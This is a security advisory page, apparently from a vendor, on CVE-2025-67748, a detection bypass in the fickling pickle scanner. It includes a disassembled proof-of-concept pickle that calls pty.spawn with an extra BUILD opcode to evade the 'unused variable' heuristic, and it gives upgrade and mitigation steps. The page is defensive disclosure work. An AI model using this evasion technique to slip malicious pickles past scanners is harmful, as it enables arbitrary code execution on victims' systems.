CVE-2025-67748 — fickling
Fix: trailofbits/fickling#108CVE-2025-67748 is a Code Injection vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.
Fickling has Code Injection vulnerability via pty.spawn()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-67748.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ficklingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Fickling Assessment
Based on the test case provided in the original report below, this bypass was caused by pty missing from our block list of unsafe module imports (as previously documented in #108), rather than the unused variable heuristic. This led to unsafe pickles based on pty.spawn() being incorrectly flagged as LIKELY_SAFE, and was fixed in https://github.com/trailofbits/fickling/pull/187.
Original report
Summary
An unsafe deserialization vulnerability in Fickling allows a crafted pickle file to bypass the "unused variable" heuristic, enabling arbitrary code execution. This bypass is achieved by adding a trivial operation to the pickle file that "uses" the otherwise unused variable left on the stack after a malicious operation, tricking the detection mechanism into classifying the file as safe.
Details
Fickling relies on the heuristic of detecting unused variables in the VM's stack after execution. Opcodes like REDUCE, OBJ, and INST, which can be used for arbitrary code execution, leave a value on the stack that is often unused in malicious pickle files.
This vulnerability enables a bypass by modifying the pickle file to use this leftover variable. A simple way to achieve this is to add a BUILD opcode that, in effect, adds a __setstate__ to the unused variable. This makes Fickling consider the variable "used," thus failing to flag the malicious file.
PoC
The following is a disassembled view of a malicious pickle file that bypasses Fickling's "unused variable" detection:
0: \x80 PROTO 4
2: \x95 FRAME 26
11: \x8c SHORT_BINUNICODE 'pty'
16: \x94 MEMOIZE (as 0)
17: \x8c SHORT_BINUNICODE 'spawn'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'id'
31: \x94 MEMOIZE (as 3)
32: \x85 TUPLE1
33: \x94 MEMOIZE (as 4)
34: R REDUCE
35: \x94 MEMOIZE (as 5)
36: \x8c SHORT_BINUNICODE 'gottem'
44: \x94 MEMOIZE (as 6)
45: b BUILD
46: . STOP
Here, the additions to the original pickle file can see on lines 35, 36, 44 and 45.
When analyzing this modified file, Fickling fails to identify it as malicious and reports it as "LIKELY_SAFE" as seen here:
{
"severity": "LIKELY_SAFE",
"analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
"detailed_results": {}
}
Impact
This allows an attacker to craft a malicious pickle file that can bypass fickling since it relies on the "unused variable" heuristic to flag pickle files as unsafe. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.6pip install --upgrade 'fickling==0.1.6' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fickling to 0.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-67748 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-67748 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-67748. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-67748 in your dependencies?
O3 Security finds CVE-2025-67748 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.